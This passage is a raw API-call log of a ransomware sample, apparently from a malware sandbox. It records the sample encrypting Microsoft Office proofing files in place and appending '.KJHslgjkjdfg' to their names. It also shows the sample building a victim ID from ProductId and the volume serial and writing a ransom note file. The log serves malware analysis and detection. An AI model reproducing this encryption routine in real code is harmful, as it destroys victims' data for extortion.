dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0167.229] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.229] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0167.229] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0167.229] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0167.229] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0167.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0167.229] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0167.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.229] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.229] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6c67b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6c67b, lpOverlapped=0x0) returned 1 [0167.266] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6c680, dwBufLen=0x6c680 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6c680) returned 1 [0167.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.272] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6c680, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6c680, lpOverlapped=0x0) returned 1 [0167.274] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.274] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.274] SetEndOfFile (hFile=0xf0) returned 1 [0167.278] GetProcessHeap () returned 0x990000 [0167.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.278] GetProcessHeap () returned 0x990000 [0167.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.kjhslgjkjdfg")) returned 1 [0167.279] CloseHandle (hObject=0xf0) returned 1 [0167.279] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0167.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.279] GetProcessHeap () returned 0x990000 [0167.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.279] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.279] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0167.279] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0167.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.465] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.465] GetProcessHeap () returned 0x990000 [0167.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.465] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0167.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.465] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0167.465] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0167.465] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0167.465] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0167.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0167.466] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0167.466] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.466] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.466] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60983, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x60983, lpOverlapped=0x0) returned 1 [0167.493] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60990, dwBufLen=0x60990 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x60990) returned 1 [0167.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.499] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x60990, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x60990, lpOverlapped=0x0) returned 1 [0167.501] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x60a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.501] SetEndOfFile (hFile=0xf0) returned 1 [0167.504] GetProcessHeap () returned 0x990000 [0167.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.504] GetProcessHeap () returned 0x990000 [0167.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.kjhslgjkjdfg")) returned 1 [0167.556] CloseHandle (hObject=0xf0) returned 1 [0167.556] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0167.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.557] GetProcessHeap () returned 0x990000 [0167.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.557] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0167.557] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0167.564] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.564] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.564] GetProcessHeap () returned 0x990000 [0167.564] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.564] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0167.564] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.564] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0167.564] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0167.564] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0167.564] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0167.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0167.565] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0167.565] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.565] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.565] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x482ef, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x482ef, lpOverlapped=0x0) returned 1 [0167.673] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x482f0, dwBufLen=0x482f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x482f0) returned 1 [0167.676] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.676] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x482f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x482f0, lpOverlapped=0x0) returned 1 [0167.677] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x483c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.677] SetEndOfFile (hFile=0xf0) returned 1 [0167.680] GetProcessHeap () returned 0x990000 [0167.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.680] GetProcessHeap () returned 0x990000 [0167.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.kjhslgjkjdfg")) returned 1 [0167.683] CloseHandle (hObject=0xf0) returned 1 [0167.683] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0167.683] GetProcessHeap () returned 0x990000 [0167.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.684] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0167.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.684] GetProcessHeap () returned 0x990000 [0167.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0167.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.684] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0167.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.684] GetProcessHeap () returned 0x990000 [0167.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99e8 [0167.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.684] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99e8, pdwDataLen=0x29df0a8 | out: pbData=0x9f99e8, pdwDataLen=0x29df0a8) returned 1 [0167.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.684] GetProcessHeap () returned 0x990000 [0167.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0167.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.684] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0167.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.684] GetProcessHeap () returned 0x990000 [0167.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0167.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.684] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0167.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.685] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0167.685] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0167.685] RegCloseKey (hKey=0xf0) returned 0x0 [0167.685] GetProcessHeap () returned 0x990000 [0167.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0167.685] GetProcessHeap () returned 0x990000 [0167.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0167.685] GetProcessHeap () returned 0x990000 [0167.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0167.685] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.685] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0167.685] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.685] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0167.685] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.686] GetProcessHeap () returned 0x990000 [0167.686] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0167.686] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0167.686] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0167.686] GetProcessHeap () returned 0x990000 [0167.686] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0167.686] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\readme-warning.txt") returned 71 [0167.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.686] WriteFile (in: hFile=0xf0, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0167.687] CloseHandle (hObject=0xf0) returned 1 [0167.687] GetProcessHeap () returned 0x990000 [0167.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99e8 | out: hHeap=0x990000) returned 1 [0167.687] GetProcessHeap () returned 0x990000 [0167.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0167.687] GetProcessHeap () returned 0x990000 [0167.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0167.688] GetProcessHeap () returned 0x990000 [0167.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.688] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0167.688] GetProcessHeap () returned 0x990000 [0167.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0167.688] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0167.688] GetProcessHeap () returned 0x990000 [0167.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0167.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0167.698] GetProcessHeap () returned 0x990000 [0167.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.698] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.698] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, 